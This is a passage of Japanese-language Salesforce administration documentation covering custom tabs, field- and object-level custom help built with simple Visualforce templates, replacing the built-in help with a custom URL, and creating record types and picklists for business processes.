メモ: このダイアログでは、20 KB 以下で、かつ、ドキュメントプロパティ設定で [外部参照可] チェッ
クボックスがオンになっているドキュメントフォルダに含まれるファイルのみが表示されます。ア
イコンに使用されているドキュメントが削除されると、Salesforce によってデフォルトの多色のブ
ロックアイコン ( ) に置き換えられます。

c. ファイルを選択し、[OK] をクリックします。新規カスタムタブウィザードが表示されます。

6. 必要に応じてタブの説明を入力し、[次へ] をクリックします。
7. 新規カスタムタブを使用できるユーザプロファイルを選択します。

メモ: Salesforce Classic では、Lightning ページのタブの [デフォルトで表示] と [デフォルトで非表示] オプ
ションは他のカスタムタブの場合と同様には機能しません。[デフォルトで表示] または [デフォルトで
非表示] のどちらを選択しても、Salesforce1で選択したプロファイルの [Lightning ページ]メニュー項目が
表示されます。[タブを隠す] オプションを選択すると、選択したプロファイルの Lightning ページが非
表示になります。
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8. [保存] をクリックします。

カスタムタブに関する考慮事項

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience の両方

カスタムオブジェクトタ
ブと Web タブを使用可能
なエディション: Contact
Manager Edition、Group
Edition、Professional
Edition、Enterprise
Edition、Performance
Edition、Unlimited Edition、
Developer Edition

Visualforceタブを使用可能
なエディション: Contact
Manager Edition、Group
Edition、Professional
Edition、Enterprise
Edition、Performance
Edition、Unlimited Edition、
および Developer Edition

[Lightning ページ] タブを使
用可能なエディション:
Database.com Edition を除
くすべてのエディション

カスタムタブを使用して操作する場合、次の点に留意します。
• Visualforce タブまたは Web タブを Salesforce Classic Mobile アプリケーションで使

用できるようにするには、タブのプロパティを編集して、[Salesforce Classic

Mobile 準備完了] チェックボックスをオンにします。
• カスタムタブの制限数は、エディションに基づいて固定しており、増やすこ

とはできません。詳細は、Salesforce にお問い合わせください。
• カスタムオブジェクトタブの表示設定時に [デフォルトで表示] または [デフォ

ルトで非表示] を選択した場合、オプションは Salesforce Classic サイドバーの
[新規作成] ドロップダウンリストに追加されるため、「作成」権限を持つ
ユーザはすばやくレコードを作成できます。たとえば、カスタムタブに表示
されるカスタムオブジェクトの名前が「支出」の場合、[経費] オプションが
このリストに表示されます。

• カスタムオブジェクトがカスタムタブに関連付けられている場合にのみ、カ
スタムオブジェクトレコードをSalesforceユーザインターフェースで検索でき
ます。ユーザは、表示用のタブを追加する必要はありません。

• 埋め込みサイトが次のようになっている場合、[Web] タブまたはカスタムリ
ンクに空白のページが表示されることがあります。
– フレームへのコンテンツの読み込みを拒否するように設定されている。
– 同じサイトでコンテンツを配信する場合にのみ、フレームへのコンテン

ツの読み込みを許可するように設定されている。
– セキュアなコンテンツとセキュアでないコンテンツが混在していて、混

在したアクティブコンテンツをブロックするようにユーザのブラウザが
設定されている。

この問題を回避するには、次の回避策を実行します。
– 新しいウィンドウで開くか、サイドバーやヘッダーのない既存のウィン

ドウに表示するようにカスタムリンクを設定します。
– URL を Web タブからカスタムリンクに移動し、その URL が新しいウィンドウで開くか、サイドバーやヘッ

ダーのない既存のウィンドウに表示するように設定します。
– 埋め込むサイトに HTTP プレフィックスおよび混在したアクティブコンテンツがある場合、プレフィッ

クスを HTTPS に変更します。埋め込みサイトに有効なセキュリティ証明書があり、フレームへの表示が
ブロックされていない場合、プレフィックスとして HTTPS を使用することで、サイトを表示できます。

• Salesforce Classic では、現在のタブの右側に表示されるプラスアイコン ( ) をクリックしても [すべてのタブ]

ページに [Lightning ページ]タブは表示されません。また、アプリケーションのタブをカスタマイズするとき
に、[選択可能なタブ] リストに [Lightning ページ] タブは表示されません。

• Salesforce Classic では、[Lightning ページ] タブの [デフォルトで表示] と [デフォルトで非表示] オプションは他
のカスタムタブの場合と同様には機能しません。[デフォルトで表示] または [デフォルトで非表示] のどちら
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を選択しても、Salesforce1 で選択したプロファイルの [Lightning ページ] メニュー項目が表示されます。[タブ
を隠す] オプションを選択すると、選択したプロファイルの Lightning ページが非表示になります。

ユーザへのカスタムヘルプコンテンツの提供
エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
Database.com Edition を除
くすべてのエディション

カスタムオブジェクトに独自のカスタムヘルプコンテンツを提供して、Salesforce

の状況に応じたオンラインヘルプトピックを上書きできます。また、ユーザが
項目にマウスポインタを置いたときに表示する項目レベルのヘルプを追加でき
ます。
各ページの上部に表示される[ヘルプ & トレーニング]リンクをクリックすると、
オンラインヘルプトピック、ソリューション、および推奨トレーニングクラス
がすべて記載されたポータルが開きます。ページで [このページのヘルプ] リン
クをクリックすると、現在表示しているページでできることに関する情報が表
示されます。
Salesforce のカスタムヘルプにより、組織に固有の項目と機能、または現在開発中の Force.com AppExchange アプ
リケーションの使用方法に関する情報を標準ヘルプ機能に追加できます。

項目レベルのヘルプの開始
項目レベルのヘルプの定義
オブジェクトレベルのヘルプの開始
Salesforce の組み込みヘルプのカスタムヘルプへの置換
標準タブ、オブジェクト、項目、およびその他の関連するユーザインターフェース表示ラベルの名前を変
更する場合に、Salesforce の組み込みヘルプを、ユーザ用に特別にカスタマイズしたドキュメントで置き換
えることもできます。組み込みヘルプを置き換えるには、カスタムヘルプへの URL を指定するだけで実行
できます。

項目レベルのヘルプの開始
項目レベルのヘルプにより、任意の標準項目またはカスタム項目の目的と機能の詳細を説明したヘルプテキス
トを提供できます。組織の項目に対してカスタムヘルプテキストを定義し、その項目が表示される詳細ページ
と編集ページ上の任意の項目に関して、わかりやすい説明をユーザに提供できます。ユーザは、項目の横にあ
る情報アイコンの上にマウスを置くことで、その項目レベルのヘルプテキストを参照できます。
項目レベルのヘルプを定義する前に、次の実装のヒントとベストプラクティスを確認してください。

実装のヒント
• 項目レベルのヘルプは、すべてのエディションでデフォルトで有効になっています。
• 項目レベルのヘルプは、一部の標準項目では利用できません。ユーザオブジェクトの項目、システム参照

のみ項目、自動採番項目、マルチ通貨項目、アイデア項目およびコミュニティ項目などです。
• 項目のヘルプテキストは、任意の Force.com AppExchange パッケージに対して関連項目を追加すると、パッ

ケージに自動的に追加されます。
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• 管理パッケージでは、開発者に対してヘルプテキストがロックされ、インストーラは必要に応じてヘルプ
テキストを変更できます。

ベストプラクティス
• カスタムヘルプテキストは、編集ページと詳細ページの両方に表示されるため、データ入力に関する指示

は避けてください。代わりに、次のような項目の目的を定義するヘルプテキストにします。
「この取引先に対して許可される割引の上限」

• ヘルプテキストには、次のような項目の属性に関する情報を入力します。
経費申請の目的の詳細説明。最大 32 KB までのデータを入力できます。レポートには、最初の 255 文字だ
けが表示されます。

• ユーザにその項目の意図するところを明確に理解してもらえるように、ヘルプテキストに次のようなサン
プルを入れます。
「4PLT (レベル 4 のプラチナ価格) などの顧客への請求金額決定に使用する 4 桁のプロモーションコー
ド。」

• 組織が複数の言語を使用する場合、トランスレーションワークベンチを使用して[ヘルプテキスト]を翻訳
します。

関連トピック:

ユーザへのカスタムヘルプコンテンツの提供
項目レベルのヘルプの定義

項目レベルのヘルプの定義

エディション

使用可能なエディション:
Salesforce Classic と
Lightning Experience の両方

使用可能なエディション:
Database.com Edition を除
くすべてのエディション

ユーザ権限

項目レベルのヘルプを定
義または変更する
• 「アプリケーションの

カスタマイズ」

項目レベルのヘルプにより、任意の標準項目またはカスタム項目の目的と機能
の詳細を説明したヘルプテキストを提供できます。組織の項目に対してカスタ
ムヘルプテキストを定義し、その項目が表示される詳細ページと編集ページ上
の任意の項目に関して、わかりやすい説明をユーザに提供できます。ユーザは、
項目の横にある情報アイコンの上にマウスを置くことで、その項目レベルのヘ
ルプテキストを参照できます。
1. 項目のオブジェクトの管理設定から、[項目] に移動します。
2. 項目の横にある [編集] をクリックします。
3. [ヘルプテキスト]項目に、詳細ページまたは編集ページで、項目の横に表示

される情報アイコンの上にマウスを置いたときに表示されるテキストを入力
します。255 文字まで入力できます。

4. [保存] をクリックします。

メモ: 変更しているオブジェクトをコミュニティに公開した場合、ライセ
ンスのないユーザ、パートナー、顧客を含むコミュニティメンバーに項目
レベルのヘルプが表示されます。項目レベルのヘルプに提供する情報はす
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べての利用者を対象とするため、ビジネス上の機密情報は絶対に含めないでください。

関連トピック:

ユーザへのカスタムヘルプコンテンツの提供
項目レベルのヘルプの開始
オブジェクト管理設定の検索

オブジェクトレベルのヘルプの開始
カスタムオブジェクトと外部オブジェクトのオブジェクトレベルのヘルプを提供すると、ユーザにとって役立
ちます。こうすることで、ユーザがカスタムオブジェクトの[このページのヘルプ]リンクをクリックしたとき
に、そのカスタムオブジェクトに関連する有益な情報が表示されます。

メモ: オブジェクトレベルのヘルプを作成しない場合、[このページのヘルプ] リンクではカスタムオブ
ジェクトに無関係の標準オブジェクトの情報が表示されます。

カスタムオブジェクトまたは外部オブジェクトに対する [このページのヘルプ] リンクは、Visualforce ページに
含まれているヘルプコンテンツで上書きできます。カスタムオブジェクトにヘルプコンテンツを追加するに
は、Visualforce の知識は必要ありません。
カスタムヘルプをカスタムオブジェクトまたは外部オブジェクトに追加すると、それらのオブジェクトページ
の[このページのヘルプ]リンクで汎用ヘルプの代わりにカスタムヘルプが表示されます。ユーザは、オブジェ
クトホーム (概要) ページ、詳細ページ、編集ページ、リストビュー、および関連リストからカスタムヘルプコ
ンテンツにアクセスできます。
オブジェクトレベルのヘルプは、カスタムオブジェクトおよび外部オブジェクトをサポートするSalesforceのエ
ディションのすべてのカスタムオブジェクトおよび外部オブジェクトに対して作成できます。詳細は、「Salesforce

の制限」を参照してください。

関連トピック:

ユーザへのカスタムヘルプコンテンツの提供
オブジェクトレベルのヘルプの定義
オブジェクトレベルのヘルプのベストプラクティスと考慮事項
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オブジェクトレベルのヘルプの定義

エディション

使用可能なエディション:
Salesforce Classic と
Lightning Experience の両方

カスタムオブジェクトを
使用可能なエディション:
Contact Manager Edition、
Group Edition、
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

Salesforce Connect の外部
オブジェクトを使用可能
なエディション: Developer
Edition。有料オプションで
使用可能なエディション:
Enterprise Edition、
Performance Edition、およ
び Unlimited Edition

ユーザ権限

オブジェクトレベルのヘ
ルプを定義または変更す
る
• 「アプリケーションの

カスタマイズ」

オブジェクトレベルのヘルプは、カスタムオブジェクトまたは外部オブジェク
トに対する [このページのヘルプ] リンクを、Visualforce ページに含まれている独
自のヘルプコンテンツで上書きします。オブジェクトレベルのヘルプをすべて
のユーザが使用できるようにするには、ヘルプコンテンツを含む Visualforceペー
ジを作成します。次に、そのページを参照するようにカスタムオブジェクト定
義または外部オブジェクト定義を編集します。オブジェクトレベルのヘルプは、
すぐにすべてのユーザが利用できるようになります。
1. ヘルプコンテンツを含む Visualforce ページを作成します。
2. カスタムオブジェクト定義または外部オブジェクト定義を編集し、[このペー

ジのヘルプ] リンクをユーザがクリックしたときにこのカスタムヘルプを使
用するようにします。

3. [カスタムヘルプの設定] の [Visualforce ページを使ってウィンドウを開く] を
選択します。

4. ヘルプコンテンツを含む Visualforce ページを選択します。
5. [保存] をクリックします。

関連トピック:

オブジェクトレベルのヘルプの開始
ユーザへのカスタムヘルプコンテンツの提供
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静的コンテンツを使用したカスタムオブジェクトヘルプページの作成

エディション

使用可能なエディション:
Salesforce Classic と
Lightning Experience の両方

カスタムオブジェクトを
使用可能なエディション:
Contact Manager Edition、
Group Edition、
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

Salesforce Connect の外部
オブジェクトを使用可能
なエディション: Developer
Edition。有料オプションで
使用可能なエディション:
Enterprise Edition、
Performance Edition、およ
び Unlimited Edition

Visualforceを使用可能なエ
ディション: Contact
Manager Edition、Group
Edition、Professional
Edition、Enterprise
Edition、Performance
Edition、Unlimited Edition、
および Developer Edition

ユーザ権限

オブジェクトレベルのヘ
ルプを定義または変更す
る
• 「アプリケーションの

カスタマイズ」

Visualforceページを作成ま
たは編集する
• 「アプリケーションの

カスタマイズ」

HTML の知識があれば、HTML でコンテンツを記述してVisualforceページに保存し、
カスタムオブジェクトに簡単にヘルプを追加できます。Visualforce の知識は必要
ありません。用意されているテンプレートを使用するだけです。
1. [設定] から、[クイック検索]ボックスに「Visualforce ページ」と入力し、

[Visualforce ページ] を選択します。
2. [新規] をクリックします。

Visualforce ページエディタが新しいページで開きます。
3. 次の項目に入力します。

説明項目

[設定] ツールでページを識別するために使用するページ
のわかりやすい名前。

表示ラベル

ヒント: カスタムヘルプページの命名規則を設定
することをお勧めします。たとえば、すべてのカ
スタムヘルプページを「Help_」で始まりオブジェ
クト名が続く名前にします。

ページの API 名。自動入力値を使用できます。名前

ページの説明 (省略可能)。説明

このオプションは、カスタムオブジェクトが Salesforce1

で使用可能な場合にのみ選択します。
Salesforce モ
バイルアプリケー
ションおよび
Lightning ペー
ジでの使用が可能

4. [Quick Save (適用)] をクリックします。
5. [Visualforce マークアップ] タブコードエディタで、デフォルトコードを選択

して削除します。
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6. 次のヘルプテンプレートコードをコードエディタに貼り付けます。
<apex:page showHeader="false">

<!-- Add your help styles -->

<h1>Help for {YourObjectName} Object</h1>

<p>Your custom help message here.</p>

</apex:page>

7. [Quick Save (適用)] をクリックします。
8. テンプレートを編集してヘルプコンテンツを追加します。

ページに書式設定を追加するには、HTML マークアップを使用します。知識がある場合は Visualforce マーク
アップも使用できます。

9. [保存] をクリックします。
これでこのページをカスタムヘルプとして追加できます。ユーザが[このページのヘルプ]をクリックすると、
[ヘルプ & トレーニング] ウィンドウにこのページが表示されます。

関連トピック:

オブジェクトレベルのヘルプの定義
PDF ファイルを使用したカスタムオブジェクトヘルプの作成
オブジェクトレベルのヘルプのベストプラクティスと考慮事項
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PDF ファイルを使用したカスタムオブジェクトヘルプの作成

エディション

使用可能なエディション:
Salesforce Classic と
Lightning Experience の両方

カスタムオブジェクトを
使用可能なエディション:
Contact Manager Edition、
Group Edition、
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

Salesforce Connect の外部
オブジェクトを使用可能
なエディション: Developer
Edition。有料オプションで
使用可能なエディション:
Enterprise Edition、
Performance Edition、およ
び Unlimited Edition

Visualforceを使用可能なエ
ディション: Contact
Manager Edition、Group
Edition、Professional
Edition、Enterprise
Edition、Performance
Edition、Unlimited Edition、
および Developer Edition

ユーザ権限

オブジェクトレベルのヘ
ルプを定義または変更す
る
• 「アプリケーションの

カスタマイズ」

Visualforceページを作成ま
たは編集する
• 「アプリケーションの

カスタマイズ」

PDF ヘルプファイルまたは URL にリダイレクトするVisualforceページを作成して、
カスタムオブジェクトにヘルプを追加します。Visualforce の知識は必要ありませ
ん。用意されているテンプレートを使用するだけです。
Microsoft Word などの作成ツールでヘルプコンテンツを記述し、PDF ファイルに変
換できます。
1. PDF ファイルを静的リソースとしてアップロードします。

ユーザがコンテンツオブジェクトのヘルプを要求すると、この PDF ファイル
が表示されます。

2. [設定] から、[クイック検索]ボックスに「Visualforce ページ」と入力し、
[Visualforce ページ] を選択します。

3. [新規] をクリックします。
Visualforce ページエディタが新しいページで開きます。

4. 次の項目に入力します。

説明項目

[設定] ツールでページを識別するために使用するページ
のわかりやすい名前。

表示ラベル

ヒント: カスタムヘルプページの命名規則を設定
することをお勧めします。たとえば、すべてのカ
スタムヘルプページを「Help_」で始まりオブジェ
クト名が続く名前にします。

ページの API 名。自動入力値を使用できます。名前

ページの説明 (省略可能)。説明

このオプションは、カスタムオブジェクトが Salesforce1

で使用可能な場合にのみ選択します。
Salesforce モ
バイルアプリケー
ションおよび
Lightning ペー
ジでの使用が可能

5. [Quick Save (適用)] をクリックします。
6. [Visualforce マークアップ] タブコードエディタで、デフォルトコードを選択

して削除します。
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7. 次のヘルプテンプレートコードをコードエディタに貼り付けます。
<apex:page showHeader="false" action="{! URLFOR($Resource.YourCustomHelpResource) }">

<!-- This page redirects to the URL in the action attribute above -->

<p>Redirecting to help content...</p>

</apex:page>

8. action 属性の YourCustomHelpResource を、アップロードした静的リソースの名前に置き換えます。
9. [保存] をクリックします。
これでこのページをヘルプとして追加できます。ユーザが [このページのヘルプ] をクリックすると、action 属
性に設定したリソースにリダイレクトされます。

メモ: Visualforceページではなく、ユーザのブラウザが PDF リンクの動作を制御します。PDF コンテンツは、
ブラウザ内に表示される場合と PDF ファイルとしてダウンロードされる場合があります。

関連トピック:

オブジェクトレベルのヘルプの定義
静的コンテンツを使用したカスタムオブジェクトヘルプページの作成
オブジェクトレベルのヘルプのベストプラクティスと考慮事項
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オブジェクトレベルのヘルプのベストプラクティスと考慮事項

エディション

使用可能なエディション:
Salesforce Classic

カスタムオブジェクトを
使用可能なエディション:
Contact Manager Edition、
Group Edition、
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

Salesforce Connect の外部
オブジェクトを使用可能
なエディション: Developer
Edition。有料オプションで
使用可能なエディション:
Enterprise Edition、
Performance Edition、およ
び Unlimited Edition

Visualforceを使用可能なエ
ディション: Contact
Manager Edition、Group
Edition、Professional
Edition、Enterprise
Edition、Performance
Edition、Unlimited Edition、
および Developer Edition

カスタムオブジェクトまたは外部オブジェクトのオブジェクトレベルのヘルプ
テキストを定義する前に、次のベストプラクティスと実装に関する考慮事項を
確認してください。

ベストプラクティス
• オブジェクトレベルのヘルプを表示するウィンドウは、標準のSalesforce [ヘル

プ & トレーニング] ウィンドウと同じサイズ (縦横) になります。ヘルプコンテ
ンツが使いやすくなるように、コンテンツのサイズとスタイルを適切に調整
してください。

• Visualforce ヘルプコンテンツページで差し込み項目または他の機能を使用し
て、操作性をさらにパーソナライズできます。たとえば、表示されるヘルプ
ページにユーザ名を追加するようにヘルプを設計できます。

高度な実装に関する考慮事項
• コントローラなしでカスタムヘルプVisualforceページを作成するか、カスタム

コントローラを使用します。標準コントローラは使用できません。
• Force.comAppExchangeパッケージに追加するオブジェクトに対してオブジェク

トレベルのヘルプを定義した場合、Salesforce はそのオブジェクトの [カスタ
ムヘルプの設定] で参照する Visualforceページまたは静的リソースを追加しま
す。

• 管理パッケージでは、開発者に対してオブジェクトレベルのヘルプがロック
され、インストールするユーザが必要に応じて変更できます。

関連トピック:

オブジェクトレベルのヘルプの定義
オブジェクトレベルのヘルプの開始

Salesforce の組み込みヘルプのカスタムヘルプへの置換
標準タブ、オブジェクト、項目、およびその他の関連するユーザインターフェース表示ラベルの名前を変更す
る場合に、Salesforceの組み込みヘルプを、ユーザ用に特別にカスタマイズしたドキュメントで置き換えること
もできます。組み込みヘルプを置き換えるには、カスタムヘルプへの URL を指定するだけで実行できます。
この URL は、エンドユーザページまたは個人設定内の状況に応じたヘルプリンクをクリックするたびに表示さ
れます。ヘルプを置換しても、すべてのページの最上部に表示される [ヘルプ & トレーニング]リンクと、すべ
ての [設定] ページには、Salesforce ヘルプが引き続き表示されます。
1. [設定] から、[クイック検索] ボックスに「ヘルプ設定」と入力し、[ヘルプ設定] を選択します。
2. Salesforce ヘルプと置換するヘルプファイルの完全 URL を入力します。
3. [保存] をクリックします。
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Salesforce ヘルプの置換に関する考慮事項
• Salesforce ヘルプを独自のヘルプファイルで置き換えても、[ヘルプ & トレーニング] リンクには Salesforce ヘ

ルプが依然として表示されます。ただし、[設定] 内以外のすべてのページの [このページのヘルプ] リンク
は状況に応じたヘルプではなくなります。つまり、ユーザがリンクをクリックすると、その時にユーザが
どのページを参照していても、ヘルプファイルは同じ場所で開くことになります。

• 各ヘルプリンクに渡されるコンテンツ固有のパラメータを利用することで、そのページの状況に応じたヘ
ルプにすることができます。たとえば、[商談] タブホームページからのヘルプリンクは、次のように構成
されています (改行はありません)。
http://your_help_file.com?loc=help&amp;body=%2Fhelp%2Fdoc%2Fen%2Fhelp2.jsp
&target=opp_overview.htm&section=Opportunities

targetおよび sectionパラメータの値は、アプリケーションの各ページで一意のものになります。ユー
ザはこれらのパラメータを解析して、そのページの状況に応じたヘルプのコンテンツを他のユーザに表示
することができます。

• オンラインヘルプファイルに、ユーザのモバイルデバイスに搭載された Web ブラウザとの互換性がある場
合、Salesforce に連絡して、Salesforce Classic Mobile のオンラインヘルプ用にカスタム URL を有効化できます。
モバイルヘルプ URL を有効化すると、モバイルアプリケーション内の [ヘルプ]リンクからは、Salesforce Classic

Mobileオンラインヘルプではなく、カスタムヘルプ URL が起動されます。カスタマイズしたモバイルヘルプ
は、ユーザが所持するすべてのデバイスモデルで完全なテストを行う前にリリースしないでください。ユー
ザ全員が同じ種類のモバイルデバイスを持っていても、デバイスにインストールされている OS バージョン
によって、操作性は大きく異なります。

ユーザごとのビジネスプロセスの調整
エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience の両方

使用可能なエディション:
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

ユーザ権限

レコードタイプを作成ま
たは変更する
• 「アプリケーションの

カスタマイズ」

レコードタイプを使用すると、さまざまなビジネスプロセス、選択リストの値、
およびページレイアウトを、さまざまなユーザに提供できます。通常の販売取
引と企業向け契約とを区別するレコードタイプを作成して、それぞれに異なる
選択リスト値を提供できます。また、カスタマーサポートのケースと請求用の
ケースで異なるページレイアウトを表示することもできます。

例: 組織でのレコードタイプの使用例を示します。ハードウェア部門およ
びコンサルティング部門といった 2 つの営業部門があり、コンサルティン
グ部門のみがセミナーを通じてリードを受信しているとします。コンサル
ティング部門のみにセミナー取引先責任者リードソースを表示するように
選択できます。
ステップ 1: マスタ選択リストの管理

ハードウェア部門およびコンサルティング部門の両方で使用する、セミ
ナーなどの値すべてを含む取引先責任者 [リードソース] 選択リスト値
のリストを定義します。

ステップ 2: レコードタイプの作成
「ハードウェア」、「コンサルティング」という名前の 2 つの取引先責
任者レコードタイプを作成します。このステップには、マスタ選択リス
ト値のレコードタイプへの追加が含まれます。
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ステップ 3: レコードタイプをプロファイルに追加
「ハードウェア」レコードタイプをハードウェア営業部門のすべてのユーザのプロファイルに追加し
ます。「コンサルティング」レコードタイプをコンサルティング営業部門のすべてのユーザのプロ
ファイルに追加します。

ステップ 4: レコードタイプの個人オプションを設定
ハードウェア営業部門とコンサルティング営業部門のユーザが、取引先責任者の新規作成時にレコー
ドタイプの選択が必要ないようにします。両方の営業部門に取引先責任者レコードを作成するユーザ
がいる場合は、これらのユーザは自身の個人設定をカスタマイズして、常にレコードタイプの選択が
求められるようにできます。

レコードタイプと選択リストの作成および更新に関する考慮事項
レコードタイプとビジネスプロセス選択リストを操作するときは、次の考慮事項に留意してください。
レコードタイプの作成
レコードタイプとビジネスプロセス用の選択リストの編集
組織に固有のニーズに基づいて、レコードタイプまたはビジネスプロセスの選択リストにある値をカスタ
マイズします。
レコードタイプおよび選択リストの作成と更新に関する制限事項
レコードタイプとビジネスプロセスの選択リストを使用する場合は、次の制限事項に留意してください。
複数のビジネスプロセスの管理
複数のビジネスプロセスの作成

関連トピック:

レコードタイプへのアクセスの指定方法

レコードタイプと選択リストの作成および更新に関する考慮事項

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience の両方

使用可能なエディション:
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

レコードタイプとビジネスプロセス選択リストを操作するときは、次の考慮事
項に留意してください。
• レコードタイプを作成する前に、可能なすべてのレコードタイプの値をマス

タ選択リストに含めます。マスタ選択リストには、すべてのレコードタイプ
で使用できる選択リストのすべての値が含まれています。

• マスタ選択リストは、レコードタイプやビジネスプロセスには依存していま
せん。マスタ選択リストに値を追加する場合は、適切なレコードタイプで新
しい値を手動で追加する必要があります。マスタ選択リストから値を削除す
ると、削除した値は新しいレコードを作成するときに使用できなくなります
が、その値に割り当てられているレコードに変更はありません。

• 既存のレコードタイプをコピーせずに新しいレコードタイプを作成する場
合、新しいレコードタイプには、標準選択リストとカスタム選択リストの両
方について自動的にマスタ選択リスト値が含まれます。レコードタイプの選択リスト値はカスタマイズで
きます。
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• 1 人のユーザを複数のレコードタイプに関連付けることができます。たとえば、米国および欧州の両ディビ
ジョンに対してマーケティングキャンペーンを作成したユーザは、新規キャンペーンの作成時に利用可能
な米国および欧州の両方のキャンペーンレコードタイプを所有できます。

• 取引先、商談、ケース、取引先責任者、またはカスタムオブジェクトのレコードタイプを作成および編集
する場合は、既存のレコードタイプを条件として使用する、条件に基づく共有ルールがないかどうかを確
認します。レコードタイプを変更すると、ルールが共有するレコード数に影響を与える可能性があります。
たとえば、「サービス」という名前のレコードタイプがあり、すべての「サービス」レコードタイプをサー
ビスチームで共有するという条件に基づく共有ルールを作成したとします。その後、「サポート」という
名前の別のレコードタイプを作成した場合、これらのレコードをサービスチームで共有するには、以前に
作成した共有ルールを更新して、条件に「サポート」レコードタイプを含めます。

• レコードタイプの名前を変更しても、その中に含まれている値は変更されません。
• レコードタイプを無効にしても、ユーザプロファイルや権限セットから削除されることはありません。
• レコードタイプを削除すると、関連するパスも削除されます。
• キャンペーンメンバーレコードタイプを削除すると、キャンペーンレコードとキャンペーンメンバーレコー

ドの [キャンペーンメンバー種別] 項目が更新されます。
• 個人取引先は、特殊なレコードタイプが割り当てられた取引先レコードです。これらのレコードタイプを、

個人取引先レコードタイプといいます。個人取引先レコードタイプは、取引先の操作で取引先責任者項目
を使用できるようにし、取引先を取引先責任者と同様に扱えるようにします。「個人取引先」と呼ばれる
デフォルトの個人取引先レコードタイプは、組織で個人取引先を有効にしたときに、自動的に生成されま
す。このレコードタイプの名前は変更できるほか、追加の個人取引先レコードタイプを作成することもで
きます。

• レコードを変換、コピー、または作成するときには、次の特別な考慮事項があります。
– リードを変換する場合、取引先、取引先責任者、商談の新しいレコードには、それらのレコードの所有

者のデフォルトのレコードタイプが自動的に使用されます。
– レコードをコピーする場合、新しいレコードはコピーしたレコードのレコードタイプになります。ユー

ザのプロファイルで、コピーされたレコードのレコードタイプにアクセスできない場合は、ユーザのデ
フォルトのレコードタイプが新しいレコードに使用されます。

– ケースまたはリードを作成して割り当てルールを適用する場合、システム管理者が指定したケース設定
およびリード設定に応じて、新しいレコードで作成者のデフォルトのレコードタイプが保持されるか、
割り当て先のレコードタイプが使用されます。

関連トピック:

ユーザごとのビジネスプロセスの調整
レコードタイプの作成
取引先のレコードタイプの変更に関するガイドライン
レコードタイプおよび選択リストの作成と更新に関する制限事項
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レコードタイプの作成

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience の両方

使用可能なエディション:
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

ユーザ権限

レコードタイプを作成ま
たは変更する
• 「アプリケーションの

カスタマイズ」

ヒント: レコードタイプを作成する前に、可能なすべてのレコードタイプ
の値をマスタ選択リストに含めます。マスタ選択リストには、すべてのレ
コードタイプで使用できる選択リストのすべての値が含まれています。

1. 適切なオブジェクトの管理設定から、[レコードタイプ] に移動します。
2. [新規] をクリックします。
3. [既存のレコードタイプからコピーする] ドロップダウンリストから [主] を

選択して、使用可能なすべての選択リスト値をコピーするか、既存のレコー
ドタイプを選択して、その選択リスト値をコピーします。

メモ: 既存のレコードタイプをコピーせずに新しいレコードタイプを作
成する場合、新しいレコードタイプには、標準選択リストとカスタム選
択リストの両方について自動的にマスタ選択リスト値が含まれます。レ
コードタイプの選択リスト値はカスタマイズできます。

4. オブジェクト内で一意の [レコードタイプの表示ラベル] を入力します。
5. [レコードタイプ名] を入力します。レコードタイプ名は Web サービス API を

使用する場合にコンポーネントを参照し、管理パッケージにパッケージをイ
ンストールするときに名前が競合することを防ぎます。

6. 商談、ケース、リード、およびソリューションのレコードタイプでは、レ
コードタイプに関連付けるビジネスプロセスを選択します。

7. 説明を入力します。
8. [有効] を選択して、そのレコードタイプを有効にします。
9. プロファイルの横の [プロファイルの有効]を選択して、そのプロファイルを持つユーザがレコードタイプ

を使用できるようにします。ヘッダー行にあるチェックボックスをオンにすると、すべてのプロファイル
に対してレコードタイプが有効になります。

ヒント: 各プロファイルが 1 つのレコードタイプに関連付けられている場合、新規レコードの作成時
にユーザにレコードタイプの選択が要求されることはありません。

10. 有効にしたプロファイルに対して [デフォルトに設定] を選択すると、そのレコードタイプは、そのプロ
ファイルのユーザのデフォルトのレコードタイプになります。ヘッダー行にあるチェックボックスをオン
にすると、そのレコードタイプは、すべてのプロファイルのデフォルトになります。

11. [次へ] をクリックします。
12. ページレイアウトのオプションを選択して、このレコードタイプを持つレコードに対して表示するページ

レイアウトを決定します。
• すべてのプロファイルに対して 1 つのページレイアウトを適用するには、[1 つのレイアウトをすべての

プロファイルに適用する] を選択し、ドロップダウンリストからページレイアウトを選択します。
• ユーザプロファイルに基づいて異なるページレイアウトを適用するには、[プロファイルごとに異なるレ

イアウトを適用する] を選択し、プロファイルごとにページレイアウトを選択します。
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13. [保存] をクリックして、レコードタイプで使用可能な標準選択リストとカスタム選択リストの値を編集す
るか、[保存 & 新規] をクリックして、別のレコードタイプを作成します。

関連トピック:

ユーザごとのビジネスプロセスの調整
レコードタイプと選択リストの作成および更新に関する考慮事項
レコードタイプおよび選択リストの作成と更新に関する制限事項

レコードタイプとビジネスプロセス用の選択リストの編集

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience の両方

レコードタイプを使用可
能なエディション:
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

ビジネスプロセスを使用
可能なエディション:
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

ユーザ権限

レコードタイプを作成ま
たは変更する
• 「アプリケーションの

カスタマイズ」

ビジネスプロセスを作成
または変更する
• 「アプリケーションの

カスタマイズ」

組織に固有のニーズに基づいて、レコードタイプまたはビジネスプロセスの選
択リストにある値をカスタマイズします。
1. レコードタイプまたはビジネスプロセスを選択し、選択リスト項目の横にあ

る [編集] をクリックして値を変更します。
2. 必要に応じて、値を追加または削除します。レコードの作成時または編集時

には、これらの値から選択できます。
3. 必要に応じて、選択リストのデフォルト値を選択することもできます。一部

の選択リストでは、デフォルト値を設定する必要があります。連動項目内の
デフォルト値は無視されます。

4. [保存] をクリックします。

関連トピック:

